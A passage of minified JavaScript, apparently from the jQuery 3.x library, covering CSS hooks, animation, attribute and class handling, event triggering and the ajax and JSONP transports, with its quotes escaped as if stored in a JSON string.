o,i,s,a=de.camelCase(t),u=e.style;return t=de.cssProps[a]||(de.cssProps[a]=L(a)||a),s=de.cssHooks[t]||de.cssHooks[a],void 0===n?s&&\"get\"in s&&void 0!==(o=s.get(e,!1,r))?o:u[t]:(i=typeof n,\"string\"===i&&(o=$e.exec(n))&&o[1]&&(n=d(e,t,o),i=\"number\"),null!=n&&n===n&&(\"number\"===i&&(n+=o&&o[3]||(de.cssNumber[a]?\"\":\"px\")),pe.clearCloneStyle||\"\"!==n||0!==t.indexOf(\"background\")||(u[t]=\"inherit\"),s&&\"set\"in s&&void 0===(n=s.set(e,n,r))||(u[t]=n)),void 0)}},css:function(e,t,n,r){var o,i,s,a=de.camelCase(t);return t=de.cssProps[a]||(de.cssProps[a]=L(a)||a),s=de.cssHooks[t]||de.cssHooks[a],s&&\"get\"in s&&(o=s.get(e,!0,n)),void 0===o&&(o=D(e,t,r)),\"normal\"===o&&t in lt&&(o=lt[t]),\"\"===n||n?(i=parseFloat(o),n===!0||isFinite(i)?i||0:o):o}}),de.each([\"height\",\"width\"],function(e,t){de.cssHooks[t]={get:function(e,n,r){if(n)return!ut.test(de.css(e,\"display\"))||e.getClientRects().length&&e.getBoundingClientRect().width?R(e,t,r):_e(e,ct,function(){return R(e,t,r)})},set:function(e,n,r){var o,i=r&&at(e),s=r&&F(e,t,r,\"border-box\"===de.css(e,\"boxSizing\",!1,i),i);return s&&(o=$e.exec(n))&&\"px\"!==(o[3]||\"px\")&&(e.style[t]=n,n=de.css(e,t)),H(e,n,s)}}}),de.cssHooks.marginLeft=O(pe.reliableMarginLeft,function(e,t){if(t)return(parseFloat(D(e,\"marginLeft\"))||e.getBoundingClientRect().left-_e(e,{marginLeft:0},function(){return e.getBoundingClientRect().left}))+\"px\"}),de.each({margin:\"\",padding:\"\",border:\"Width\"},function(e,t){de.cssHooks[e+t]={expand:function(n){for(var r=0,o={},i=\"string\"==typeof n?n.split(\" \"):[n];r<4;r++)o[e+We[r]+t]=i[r]||i[r-2]||i[0];return o}},it.test(e)||(de.cssHooks[e+t].set=H)}),de.fn.extend({css:function(e,t){return Le(this,function(e,t,n){var r,o,i={},s=0;if(de.isArray(t)){for(r=at(e),o=t.length;s<o;s++)i[t[s]]=de.css(e,t[s],!1,r);return i}return void 0!==n?de.style(e,t,n):de.css(e,t)},e,t,arguments.length>1)}}),de.Tween=I,I.prototype={constructor:I,init:function(e,t,n,r,o,i){this.elem=e,this.prop=n,this.easing=o||de.easing._default,this.options=t,this.start=this.now=this.cur(),this.end=r,this.unit=i||(de.cssNumber[n]?\"\":\"px\")},cur:function(){var e=I.propHooks[this.prop];return e&&e.get?e.get(this):I.propHooks._default.get(this)},run:function(e){var t,n=I.propHooks[this.prop];return this.options.duration?this.pos=t=de.easing[this.easing](e,this.options.duration*e,0,1,this.options.duration):this.pos=t=e,this.now=(this.end-this.start)*t+this.start,this.options.step&&this.options.step.call(this.elem,this.now,this),n&&n.set?n.set(this):I.propHooks._default.set(this),this}},I.prototype.init.prototype=I.prototype,I.propHooks={_default:{get:function(e){var t;return 1!==e.elem.nodeType||null!=e.elem[e.prop]&&null==e.elem.style[e.prop]?e.elem[e.prop]:(t=de.css(e.elem,e.prop,\"\"),t&&\"auto\"!==t?t:0)},set:function(e){de.fx.step[e.prop]?de.fx.step[e.prop](e):1!==e.elem.nodeType||null==e.elem.style[de.cssProps[e.prop]]&&!de.cssHooks[e.prop]?e.elem[e.prop]=e.now:de.style(e.elem,e.prop,e.now+e.unit)}}},I.propHooks.scrollTop=I.propHooks.scrollLeft={set:function(e){e.elem.nodeType&&e.elem.parentNode&&(e.elem[e.prop]=e.now)}},de.easing={linear:function(e){return e},swing:function(e){return.5-Math.cos(e*Math.PI)/2},_default:\"swing\"},de.fx=I.prototype.init,de.fx.step={};var ht,dt,gt=/^(?:toggle|show|hide)$/,mt=/queueHooks$/;de.Animation=de.extend(U,{tweeners:{\"*\":[function(e,t){var n=this.createTween(e,t);return d(n.elem,e,$e.exec(t),n),n}]},tweener:function(e,t){de.isFunction(e)?(t=e,e=[\"*\"]):e=e.match(qe);for(var n,r=0,o=e.length;r<o;r++)n=e[r],U.tweeners[n]=U.tweeners[n]||[],U.tweeners[n].unshift(t)},prefilters:[B],prefilter:function(e,t){t?U.prefilters.unshift(e):U.prefilters.push(e)}}),de.speed=function(e,t,n){var r=e&&\"object\"==typeof e?de.extend({},e):{complete:n||!n&&t||de.isFunction(e)&&e,duration:e,easing:n&&t||t&&!de.isFunction(t)&&t};return de.fx.off||te.hidden?r.duration=0:\"number\"!=typeof r.duration&&(r.duration in de.fx.speeds?r.duration=de.fx.speeds[r.duration]:r.duration=de.fx.speeds._default),null!=r.queue&&r.queue!==!0||(r.queue=\"fx\"),r.old=r.complete,r.complete=function(){de.isFunction(r.old)&&r.old.call(this),r.queue&&de.dequeue(this,r.queue)},r},de.fn.extend({fadeTo:function(e,t,n,r){return this.filter(Be).css(\"opacity\",0).show().end().animate({opacity:t},e,n,r)},animate:function(e,t,n,r){\nvar o=de.isEmptyObject(e),i=de.speed(t,n,r),s=function(){var t=U(this,de.extend({},e),i);(o||Fe.get(this,\"finish\"))&&t.stop(!0)};return s.finish=s,o||i.queue===!1?this.each(s):this.queue(i.queue,s)},stop:function(e,t,n){var r=function(e){var t=e.stop;delete e.stop,t(n)};return\"string\"!=typeof e&&(n=t,t=e,e=void 0),t&&e!==!1&&this.queue(e||\"fx\",[]),this.each(function(){var t=!0,o=null!=e&&e+\"queueHooks\",i=de.timers,s=Fe.get(this);if(o)s[o]&&s[o].stop&&r(s[o]);else for(o in s)s[o]&&s[o].stop&&mt.test(o)&&r(s[o]);for(o=i.length;o--;)i[o].elem!==this||null!=e&&i[o].queue!==e||(i[o].anim.stop(n),t=!1,i.splice(o,1));!t&&n||de.dequeue(this,e)})},finish:function(e){return e!==!1&&(e=e||\"fx\"),this.each(function(){var t,n=Fe.get(this),r=n[e+\"queue\"],o=n[e+\"queueHooks\"],i=de.timers,s=r?r.length:0;for(n.finish=!0,de.queue(this,e,[]),o&&o.stop&&o.stop.call(this,!0),t=i.length;t--;)i[t].elem===this&&i[t].queue===e&&(i[t].anim.stop(!0),i.splice(t,1));for(t=0;t<s;t++)r[t]&&r[t].finish&&r[t].finish.call(this);delete n.finish})}}),de.each([\"toggle\",\"show\",\"hide\"],function(e,t){var n=de.fn[t];de.fn[t]=function(e,r,o){return null==e||\"boolean\"==typeof e?n.apply(this,arguments):this.animate($(t,!0),e,r,o)}}),de.each({slideDown:$(\"show\"),slideUp:$(\"hide\"),slideToggle:$(\"toggle\"),fadeIn:{opacity:\"show\"},fadeOut:{opacity:\"hide\"},fadeToggle:{opacity:\"toggle\"}},function(e,t){de.fn[e]=function(e,n,r){return this.animate(t,e,n,r)}}),de.timers=[],de.fx.tick=function(){var e,t=0,n=de.timers;for(ht=de.now();t<n.length;t++)e=n[t],e()||n[t]!==e||n.splice(t--,1);n.length||de.fx.stop(),ht=void 0},de.fx.timer=function(e){de.timers.push(e),e()?de.fx.start():de.timers.pop()},de.fx.interval=13,de.fx.start=function(){dt||(dt=e.requestAnimationFrame?e.requestAnimationFrame(P):e.setInterval(de.fx.tick,de.fx.interval))},de.fx.stop=function(){e.cancelAnimationFrame?e.cancelAnimationFrame(dt):e.clearInterval(dt),dt=null},de.fx.speeds={slow:600,fast:200,_default:400},de.fn.delay=function(t,n){return t=de.fx?de.fx.speeds[t]||t:t,n=n||\"fx\",this.queue(n,function(n,r){var o=e.setTimeout(n,t);r.stop=function(){e.clearTimeout(o)}})},function(){var e=te.createElement(\"input\"),t=te.createElement(\"select\"),n=t.appendChild(te.createElement(\"option\"));e.type=\"checkbox\",pe.checkOn=\"\"!==e.value,pe.optSelected=n.selected,e=te.createElement(\"input\"),e.value=\"t\",e.type=\"radio\",pe.radioValue=\"t\"===e.value}();var vt,yt=de.expr.attrHandle;de.fn.extend({attr:function(e,t){return Le(this,de.attr,e,t,arguments.length>1)},removeAttr:function(e){return this.each(function(){de.removeAttr(this,e)})}}),de.extend({attr:function(e,t,n){var r,o,i=e.nodeType;if(3!==i&&8!==i&&2!==i)return\"undefined\"==typeof e.getAttribute?de.prop(e,t,n):(1===i&&de.isXMLDoc(e)||(o=de.attrHooks[t.toLowerCase()]||(de.expr.match.bool.test(t)?vt:void 0)),void 0!==n?null===n?void de.removeAttr(e,t):o&&\"set\"in o&&void 0!==(r=o.set(e,n,t))?r:(e.setAttribute(t,n+\"\"),n):o&&\"get\"in o&&null!==(r=o.get(e,t))?r:(r=de.find.attr(e,t),null==r?void 0:r))},attrHooks:{type:{set:function(e,t){if(!pe.radioValue&&\"radio\"===t&&de.nodeName(e,\"input\")){var n=e.value;return e.setAttribute(\"type\",t),n&&(e.value=n),t}}}},removeAttr:function(e,t){var n,r=0,o=t&&t.match(qe);if(o&&1===e.nodeType)for(;n=o[r++];)e.removeAttribute(n)}}),vt={set:function(e,t,n){return t===!1?de.removeAttr(e,n):e.setAttribute(n,n),n}},de.each(de.expr.match.bool.source.match(/\\w+/g),function(e,t){var n=yt[t]||de.find.attr;yt[t]=function(e,t,r){var o,i,s=t.toLowerCase();return r||(i=yt[s],yt[s]=o,o=null!=n(e,t,r)?s:null,yt[s]=i),o}});var xt=/^(?:input|select|textarea|button)$/i,bt=/^(?:a|area)$/i;de.fn.extend({prop:function(e,t){return Le(this,de.prop,e,t,arguments.length>1)},removeProp:function(e){return this.each(function(){delete this[de.propFix[e]||e]})}}),de.extend({prop:function(e,t,n){var r,o,i=e.nodeType;if(3!==i&&8!==i&&2!==i)return 1===i&&de.isXMLDoc(e)||(t=de.propFix[t]||t,o=de.propHooks[t]),void 0!==n?o&&\"set\"in o&&void 0!==(r=o.set(e,n,t))?r:e[t]=n:o&&\"get\"in o&&null!==(r=o.get(e,t))?r:e[t]},propHooks:{tabIndex:{get:function(e){var t=de.find.attr(e,\"tabindex\");return t?parseInt(t,10):xt.test(e.nodeName)||bt.test(e.nodeName)&&e.href?0:-1}}},propFix:{for:\"htmlFor\",class:\"className\"}}),pe.optSelected||(de.propHooks.selected={get:function(e){var t=e.parentNode;return t&&t.parentNode&&t.parentNode.selectedIndex,null},set:function(e){var t=e.parentNode;t&&(t.selectedIndex,t.parentNode&&t.parentNode.selectedIndex)}}),de.each([\"tabIndex\",\"readOnly\",\"maxLength\",\"cellSpacing\",\"cellPadding\",\"rowSpan\",\"colSpan\",\"useMap\",\"frameBorder\",\"contentEditable\"],function(){de.propFix[this.toLowerCase()]=this}),de.fn.extend({addClass:function(e){var t,n,r,o,i,s,a,u=0;if(de.isFunction(e))return this.each(function(t){de(this).addClass(e.call(this,t,X(this)))});if(\"string\"==typeof e&&e)for(t=e.match(qe)||[];n=this[u++];)if(o=X(n),r=1===n.nodeType&&\" \"+z(o)+\" \"){for(s=0;i=t[s++];)r.indexOf(\" \"+i+\" \")<0&&(r+=i+\" \");a=z(r),o!==a&&n.setAttribute(\"class\",a)}return this},removeClass:function(e){var t,n,r,o,i,s,a,u=0;if(de.isFunction(e))return this.each(function(t){de(this).removeClass(e.call(this,t,X(this)))});if(!arguments.length)return this.attr(\"class\",\"\");if(\"string\"==typeof e&&e)for(t=e.match(qe)||[];n=this[u++];)if(o=X(n),r=1===n.nodeType&&\" \"+z(o)+\" \"){for(s=0;i=t[s++];)for(;r.indexOf(\" \"+i+\" \")>-1;)r=r.replace(\" \"+i+\" \",\" \");a=z(r),o!==a&&n.setAttribute(\"class\",a)}return this},toggleClass:function(e,t){var n=typeof e;return\"boolean\"==typeof t&&\"string\"===n?t?this.addClass(e):this.removeClass(e):de.isFunction(e)?this.each(function(n){de(this).toggleClass(e.call(this,n,X(this),t),t)}):this.each(function(){var t,r,o,i;if(\"string\"===n)for(r=0,o=de(this),i=e.match(qe)||[];t=i[r++];)o.hasClass(t)?o.removeClass(t):o.addClass(t);else void 0!==e&&\"boolean\"!==n||(t=X(this),t&&Fe.set(this,\"__className__\",t),this.setAttribute&&this.setAttribute(\"class\",t||e===!1?\"\":Fe.get(this,\"__className__\")||\"\"))})},hasClass:function(e){var t,n,r=0;for(t=\" \"+e+\" \";n=this[r++];)if(1===n.nodeType&&(\" \"+z(X(n))+\" \").indexOf(t)>-1)return!0;return!1}});var wt=/\\r/g;de.fn.extend({val:function(e){var t,n,r,o=this[0];{if(arguments.length)return r=de.isFunction(e),this.each(function(n){var o;1===this.nodeType&&(o=r?e.call(this,n,de(this).val()):e,null==o?o=\"\":\"number\"==typeof o?o+=\"\":de.isArray(o)&&(o=de.map(o,function(e){return null==e?\"\":e+\"\"})),t=de.valHooks[this.type]||de.valHooks[this.nodeName.toLowerCase()],t&&\"set\"in t&&void 0!==t.set(this,o,\"value\")||(this.value=o))});if(o)return t=de.valHooks[o.type]||de.valHooks[o.nodeName.toLowerCase()],t&&\"get\"in t&&void 0!==(n=t.get(o,\"value\"))?n:(n=o.value,\"string\"==typeof n?n.replace(wt,\"\"):null==n?\"\":n)}}}),de.extend({valHooks:{option:{get:function(e){var t=de.find.attr(e,\"value\");return null!=t?t:z(de.text(e))}},select:{get:function(e){var t,n,r,o=e.options,i=e.selectedIndex,s=\"select-one\"===e.type,a=s?null:[],u=s?i+1:o.length;for(r=i<0?u:s?i:0;r<u;r++)if(n=o[r],(n.selected||r===i)&&!n.disabled&&(!n.parentNode.disabled||!de.nodeName(n.parentNode,\"optgroup\"))){if(t=de(n).val(),s)return t;a.push(t)}return a},set:function(e,t){for(var n,r,o=e.options,i=de.makeArray(t),s=o.length;s--;)r=o[s],(r.selected=de.inArray(de.valHooks.option.get(r),i)>-1)&&(n=!0);return n||(e.selectedIndex=-1),i}}}}),de.each([\"radio\",\"checkbox\"],function(){de.valHooks[this]={set:function(e,t){if(de.isArray(t))return e.checked=de.inArray(de(e).val(),t)>-1}},pe.checkOn||(de.valHooks[this].get=function(e){return null===e.getAttribute(\"value\")?\"on\":e.value})});var Tt=/^(?:focusinfocus|focusoutblur)$/;de.extend(de.event,{trigger:function(t,n,r,o){var i,s,a,u,c,l,f,p=[r||te],h=ce.call(t,\"type\")?t.type:t,d=ce.call(t,\"namespace\")?t.namespace.split(\".\"):[];if(s=a=r=r||te,3!==r.nodeType&&8!==r.nodeType&&!Tt.test(h+de.event.triggered)&&(h.indexOf(\".\")>-1&&(d=h.split(\".\"),h=d.shift(),d.sort()),c=h.indexOf(\":\")<0&&\"on\"+h,t=t[de.expando]?t:new de.Event(h,\"object\"==typeof t&&t),t.isTrigger=o?2:3,t.namespace=d.join(\".\"),t.rnamespace=t.namespace?new RegExp(\"(^|\\\\.)\"+d.join(\"\\\\.(?:.*\\\\.|)\")+\"(\\\\.|$)\"):null,t.result=void 0,t.target||(t.target=r),n=null==n?[t]:de.makeArray(n,[t]),f=de.event.special[h]||{},o||!f.trigger||f.trigger.apply(r,n)!==!1)){if(!o&&!f.noBubble&&!de.isWindow(r)){for(u=f.delegateType||h,Tt.test(u+h)||(s=s.parentNode);s;s=s.parentNode)p.push(s),a=s;a===(r.ownerDocument||te)&&p.push(a.defaultView||a.parentWindow||e)}for(i=0;(s=p[i++])&&!t.isPropagationStopped();)t.type=i>1?u:f.bindType||h,l=(Fe.get(s,\"events\")||{})[t.type]&&Fe.get(s,\"handle\"),l&&l.apply(s,n),l=c&&s[c],l&&l.apply&&He(s)&&(t.result=l.apply(s,n),t.result===!1&&t.preventDefault());return t.type=h,o||t.isDefaultPrevented()||f._default&&f._default.apply(p.pop(),n)!==!1||!He(r)||c&&de.isFunction(r[h])&&!de.isWindow(r)&&(a=r[c],a&&(r[c]=null),de.event.triggered=h,r[h](),de.event.triggered=void 0,a&&(r[c]=a)),t.result}},simulate:function(e,t,n){var r=de.extend(new de.Event,n,{type:e,isSimulated:!0});de.event.trigger(r,null,t)}}),de.fn.extend({trigger:function(e,t){return this.each(function(){de.event.trigger(e,t,this)})},triggerHandler:function(e,t){var n=this[0];if(n)return de.event.trigger(e,t,n,!0)}}),de.each(\"blur focus focusin focusout resize scroll click dblclick mousedown mouseup mousemove mouseover mouseout mouseenter mouseleave change select submit keydown keypress keyup contextmenu\".split(\" \"),function(e,t){de.fn[t]=function(e,n){return arguments.length>0?this.on(t,null,e,n):this.trigger(t)}}),de.fn.extend({hover:function(e,t){return this.mouseenter(e).mouseleave(t||e)}}),pe.focusin=\"onfocusin\"in e,pe.focusin||de.each({focus:\"focusin\",blur:\"focusout\"},function(e,t){var n=function(e){de.event.simulate(t,e.target,de.event.fix(e))};de.event.special[t]={setup:function(){var r=this.ownerDocument||this,o=Fe.access(r,t);o||r.addEventListener(e,n,!0),Fe.access(r,t,(o||0)+1)},teardown:function(){var r=this.ownerDocument||this,o=Fe.access(r,t)-1;o?Fe.access(r,t,o):(r.removeEventListener(e,n,!0),Fe.remove(r,t))}}});var Ct=e.location,jt=de.now(),kt=/\\?/;de.parseXML=function(t){var n;if(!t||\"string\"!=typeof t)return null;try{n=(new e.DOMParser).parseFromString(t,\"text/xml\")}catch(e){n=void 0}return n&&!n.getElementsByTagName(\"parsererror\").length||de.error(\"Invalid XML: \"+t),n};var Et=/\\[\\]$/,St=/\\r?\\n/g,Nt=/^(?:submit|button|image|reset|file)$/i,At=/^(?:input|select|textarea|keygen)/i;de.param=function(e,t){var n,r=[],o=function(e,t){var n=de.isFunction(t)?t():t;r[r.length]=encodeURIComponent(e)+\"=\"+encodeURIComponent(null==n?\"\":n)};if(de.isArray(e)||e.jquery&&!de.isPlainObject(e))de.each(e,function(){o(this.name,this.value)});else for(n in e)V(n,e[n],t,o);return r.join(\"&\")},de.fn.extend({serialize:function(){return de.param(this.serializeArray())},serializeArray:function(){return this.map(function(){var e=de.prop(this,\"elements\");return e?de.makeArray(e):this}).filter(function(){var e=this.type;return this.name&&!de(this).is(\":disabled\")&&At.test(this.nodeName)&&!Nt.test(e)&&(this.checked||!ze.test(e))}).map(function(e,t){var n=de(this).val();return null==n?null:de.isArray(n)?de.map(n,function(e){return{name:t.name,value:e.replace(St,\"\\r\\n\")}}):{name:t.name,value:n.replace(St,\"\\r\\n\")}}).get()}});var qt=/%20/g,Dt=/#.*$/,Ot=/([?&])_=[^&]*/,Lt=/^(.*?):[ \\t]*([^\\r\\n]*)$/gm,Ht=/^(?:about|app|app-storage|.+-extension|file|res|widget):$/,Ft=/^(?:GET|HEAD)$/,Rt=/^\\/\\//,It={},Pt={},Mt=\"*/\".concat(\"*\"),$t=te.createElement(\"a\");$t.href=Ct.href,de.extend({active:0,lastModified:{},etag:{},ajaxSettings:{url:Ct.href,type:\"GET\",isLocal:Ht.test(Ct.protocol),global:!0,processData:!0,async:!0,contentType:\"application/x-www-form-urlencoded; charset=UTF-8\",accepts:{\"*\":Mt,text:\"text/plain\",html:\"text/html\",xml:\"application/xml, text/xml\",json:\"application/json, text/javascript\"},contents:{xml:/\\bxml\\b/,html:/\\bhtml/,json:/\\bjson\\b/},responseFields:{xml:\"responseXML\",text:\"responseText\",json:\"responseJSON\"},converters:{\"* text\":String,\"text html\":!0,\"text json\":JSON.parse,\"text xml\":de.parseXML},flatOptions:{url:!0,context:!0}},ajaxSetup:function(e,t){return t?Q(Q(e,de.ajaxSettings),t):Q(de.ajaxSettings,e)},ajaxPrefilter:G(It),ajaxTransport:G(Pt),ajax:function(t,n){function r(t,n,r,a){var c,p,h,b,w,T=n;l||(l=!0,u&&e.clearTimeout(u),o=void 0,s=a||\"\",C.readyState=t>0?4:0,c=t>=200&&t<300||304===t,r&&(b=J(d,C,r)),b=K(d,b,C,c),c?(d.ifModified&&(w=C.getResponseHeader(\"Last-Modified\"),w&&(de.lastModified[i]=w),w=C.getResponseHeader(\"etag\"),w&&(de.etag[i]=w)),204===t||\"HEAD\"===d.type?T=\"nocontent\":304===t?T=\"notmodified\":(T=b.state,p=b.data,h=b.error,c=!h)):(h=T,!t&&T||(T=\"error\",t<0&&(t=0))),C.status=t,C.statusText=(n||T)+\"\",c?v.resolveWith(g,[p,T,C]):v.rejectWith(g,[C,T,h]),C.statusCode(x),x=void 0,f&&m.trigger(c?\"ajaxSuccess\":\"ajaxError\",[C,d,c?p:h]),y.fireWith(g,[C,T]),f&&(m.trigger(\"ajaxComplete\",[C,d]),--de.active||de.event.trigger(\"ajaxStop\")))}\"object\"==typeof t&&(n=t,t=void 0),n=n||{};var o,i,s,a,u,c,l,f,p,h,d=de.ajaxSetup({},n),g=d.context||d,m=d.context&&(g.nodeType||g.jquery)?de(g):de.event,v=de.Deferred(),y=de.Callbacks(\"once memory\"),x=d.statusCode||{},b={},w={},T=\"canceled\",C={readyState:0,getResponseHeader:function(e){var t;if(l){if(!a)for(a={};t=Lt.exec(s);)a[t[1].toLowerCase()]=t[2];t=a[e.toLowerCase()]}return null==t?null:t},getAllResponseHeaders:function(){return l?s:null},setRequestHeader:function(e,t){return null==l&&(e=w[e.toLowerCase()]=w[e.toLowerCase()]||e,b[e]=t),this},overrideMimeType:function(e){return null==l&&(d.mimeType=e),this},statusCode:function(e){var t;if(e)if(l)C.always(e[C.status]);else for(t in e)x[t]=[x[t],e[t]];return this},abort:function(e){var t=e||T;return o&&o.abort(t),r(0,t),this}};if(v.promise(C),d.url=((t||d.url||Ct.href)+\"\").replace(Rt,Ct.protocol+\"//\"),d.type=n.method||n.type||d.method||d.type,d.dataTypes=(d.dataType||\"*\").toLowerCase().match(qe)||[\"\"],null==d.crossDomain){c=te.createElement(\"a\");try{c.href=d.url,c.href=c.href,d.crossDomain=$t.protocol+\"//\"+$t.host!=c.protocol+\"//\"+c.host}catch(e){d.crossDomain=!0}}if(d.data&&d.processData&&\"string\"!=typeof d.data&&(d.data=de.param(d.data,d.traditional)),Y(It,d,n,C),l)return C;f=de.event&&d.global,f&&0===de.active++&&de.event.trigger(\"ajaxStart\"),d.type=d.type.toUpperCase(),d.hasContent=!Ft.test(d.type),i=d.url.replace(Dt,\"\"),d.hasContent?d.data&&d.processData&&0===(d.contentType||\"\").indexOf(\"application/x-www-form-urlencoded\")&&(d.data=d.data.replace(qt,\"+\")):(h=d.url.slice(i.length),d.data&&(i+=(kt.test(i)?\"&\":\"?\")+d.data,delete d.data),d.cache===!1&&(i=i.replace(Ot,\"$1\"),h=(kt.test(i)?\"&\":\"?\")+\"_=\"+jt++ +h),d.url=i+h),d.ifModified&&(de.lastModified[i]&&C.setRequestHeader(\"If-Modified-Since\",de.lastModified[i]),de.etag[i]&&C.setRequestHeader(\"If-None-Match\",de.etag[i])),(d.data&&d.hasContent&&d.contentType!==!1||n.contentType)&&C.setRequestHeader(\"Content-Type\",d.contentType),C.setRequestHeader(\"Accept\",d.dataTypes[0]&&d.accepts[d.dataTypes[0]]?d.accepts[d.dataTypes[0]]+(\"*\"!==d.dataTypes[0]?\", \"+Mt+\"; q=0.01\":\"\"):d.accepts[\"*\"]);for(p in d.headers)C.setRequestHeader(p,d.headers[p]);if(d.beforeSend&&(d.beforeSend.call(g,C,d)===!1||l))return C.abort();if(T=\"abort\",y.add(d.complete),C.done(d.success),C.fail(d.error),o=Y(Pt,d,n,C)){if(C.readyState=1,f&&m.trigger(\"ajaxSend\",[C,d]),l)return C;d.async&&d.timeout>0&&(u=e.setTimeout(function(){C.abort(\"timeout\")},d.timeout));try{l=!1,o.send(b,r)}catch(e){if(l)throw e;r(-1,e)}}else r(-1,\"No Transport\");return C},getJSON:function(e,t,n){return de.get(e,t,n,\"json\")},getScript:function(e,t){return de.get(e,void 0,t,\"script\")}}),de.each([\"get\",\"post\"],function(e,t){de[t]=function(e,n,r,o){return de.isFunction(n)&&(o=o||r,r=n,n=void 0),de.ajax(de.extend({url:e,type:t,dataType:o,data:n,success:r},de.isPlainObject(e)&&e))}}),de._evalUrl=function(e){return de.ajax({url:e,type:\"GET\",dataType:\"script\",cache:!0,async:!1,global:!1,throws:!0})},de.fn.extend({wrapAll:function(e){var t;return this[0]&&(de.isFunction(e)&&(e=e.call(this[0])),t=de(e,this[0].ownerDocument).eq(0).clone(!0),this[0].parentNode&&t.insertBefore(this[0]),t.map(function(){for(var e=this;e.firstElementChild;)e=e.firstElementChild;return e}).append(this)),this},wrapInner:function(e){return de.isFunction(e)?this.each(function(t){de(this).wrapInner(e.call(this,t))}):this.each(function(){var t=de(this),n=t.contents();n.length?n.wrapAll(e):t.append(e)})},wrap:function(e){var t=de.isFunction(e);return this.each(function(n){de(this).wrapAll(t?e.call(this,n):e)})},unwrap:function(e){return this.parent(e).not(\"body\").each(function(){de(this).replaceWith(this.childNodes)}),this}}),de.expr.pseudos.hidden=function(e){return!de.expr.pseudos.visible(e)},de.expr.pseudos.visible=function(e){return!!(e.offsetWidth||e.offsetHeight||e.getClientRects().length)},de.ajaxSettings.xhr=function(){try{return new e.XMLHttpRequest}catch(e){}};var Wt={0:200,1223:204},Bt=de.ajaxSettings.xhr();pe.cors=!!Bt&&\"withCredentials\"in Bt,pe.ajax=Bt=!!Bt,de.ajaxTransport(function(t){var n,r;if(pe.cors||Bt&&!t.crossDomain)return{send:function(o,i){var s,a=t.xhr();if(a.open(t.type,t.url,t.async,t.username,t.password),t.xhrFields)for(s in t.xhrFields)a[s]=t.xhrFields[s];t.mimeType&&a.overrideMimeType&&a.overrideMimeType(t.mimeType),t.crossDomain||o[\"X-Requested-With\"]||(o[\"X-Requested-With\"]=\"XMLHttpRequest\");for(s in o)a.setRequestHeader(s,o[s]);n=function(e){return function(){n&&(n=r=a.onload=a.onerror=a.onabort=a.onreadystatechange=null,\"abort\"===e?a.abort():\"error\"===e?\"number\"!=typeof a.status?i(0,\"error\"):i(a.status,a.statusText):i(Wt[a.status]||a.status,a.statusText,\"text\"!==(a.responseType||\"text\")||\"string\"!=typeof a.responseText?{binary:a.response}:{text:a.responseText},a.getAllResponseHeaders()))}},a.onload=n(),r=a.onerror=n(\"error\"),void 0!==a.onabort?a.onabort=r:a.onreadystatechange=function(){4===a.readyState&&e.setTimeout(function(){n&&r()})},n=n(\"abort\");try{a.send(t.hasContent&&t.data||null)}catch(e){if(n)throw e}},abort:function(){n&&n()}}}),de.ajaxPrefilter(function(e){e.crossDomain&&(e.contents.script=!1)}),de.ajaxSetup({accepts:{script:\"text/javascript, application/javascript, application/ecmascript, application/x-ecmascript\"},contents:{script:/\\b(?:java|ecma)script\\b/},converters:{\"text script\":function(e){return de.globalEval(e),e}}}),de.ajaxPrefilter(\"script\",function(e){void 0===e.cache&&(e.cache=!1),e.crossDomain&&(e.type=\"GET\")}),de.ajaxTransport(\"script\",function(e){if(e.crossDomain){var t,n;return{send:function(r,o){t=de(\"<script>\").prop({charset:e.scriptCharset,src:e.url}).on(\"load error\",n=function(e){t.remove(),n=null,e&&o(\"error\"===e.type?404:200,e.type)}),te.head.appendChild(t[0])},abort:function(){n&&n()}}}});var _t=[],Ut=/(=)\\?(?=&|$)|\\?\\?/;de.ajaxSetup({jsonp:\"callback\",jsonpCallback:function(){var e=_t.pop()||de.expando+\"_\"+jt++;return this[e]=!0,e}}),de.ajaxPrefilter(\"json jsonp\",function(t,n,r){var o,i,s,a=t.jsonp!==!1&&(Ut.test(t.url)?\"url\":\"string\"==typeof t.data&&0===(t.contentType||\"\").indexOf(\"application/x-www-form-urlencoded\")&&Ut.test(t.data)&&\"data\");if(a||\"jsonp\"===t.dataTypes[0])return o=t.jsonpCallback=de.isFunction(t.jsonpCallback)?t.jsonpCallback():t.jsonpCallback,a?t[a]=t[a].replace(Ut,\"$1\"+o):t.jsonp!==!1&&(t.url+=(kt.test(t.url)?\"&\":\"?\")+t.jsonp+\"=\"+o),t.converters[\"script json\"]=function(){return s||de.error(o+\" was not called\"),s[0]},t.dataTypes[0]=\"json\",i=e[o],e[o]=function(){s=arguments},r.always(function(){void 0===i?de(e).removeProp(o):e[o]=i,t[o]&&(t.jsonpCallback=n.jsonpCallback,_t.push(o)),s&&de.isFunction(i)&&i(s[0]),s=i=void 0}),\"script\"}),pe.createHTMLDocument=function(){var e=te.implementation.createHTMLDocument(\"\").body;return e.innerHTML=\"<form></form><form></form>\",2===e.childNodes.length}(),de.parseHTML=function(e,t,n){if(\"string\"!=typeof e)return[];\"boolean\"==typeof t&&(n=t,t=!1);var r,o,i;return t||(pe.createHTMLDocument?(t=te.implementation.createHTMLDocument(\"\"),r=t.createElement(\"base\"),r.href=te.location.href,t.head.appendChild(r)):t=te),o=Ce.exec(e),i=!n&&[],o?[t.createElement(o[1])]:(o=x([e],t,i),i&&i.length&&de(i).remove(),de.merge([],o.childNodes))},de.fn.load=function(e,t,n){var r,o,i,s=this,a=e.indexOf(\" \");return a>-1&&(r=z(e.slice(a)),e=e.slice(0,a)),de.isFunction(t)?(n=t,t=void 0):t&&\"object\"==typeof t&&(o=\"POST\"),s.length>0&&de.ajax({url:e,type:o||\"GET\",dataType:\"html\",data:t}).done(function(e){i=arguments,s.html(r?de(\"<div>\").append(de.parseHTML(e)).find(r):e)}).always(n&&function(e,t){s.each(function(){n.apply(this,i||[e.responseText,t,e])})}),this},de.each([\"ajaxStart\",\"ajaxStop\",\"ajaxComplete\",\"ajaxError\",\"ajaxSuccess\",\"ajaxSend\"],function(e,t){de.fn[t]=function(e){return this.on(t,e)}}),de.expr.pseudos.animated=function(e){return de.grep(de.timers,function(t){return e===t.elem}).length},de.offset={setOffset:function(e,t,n){var 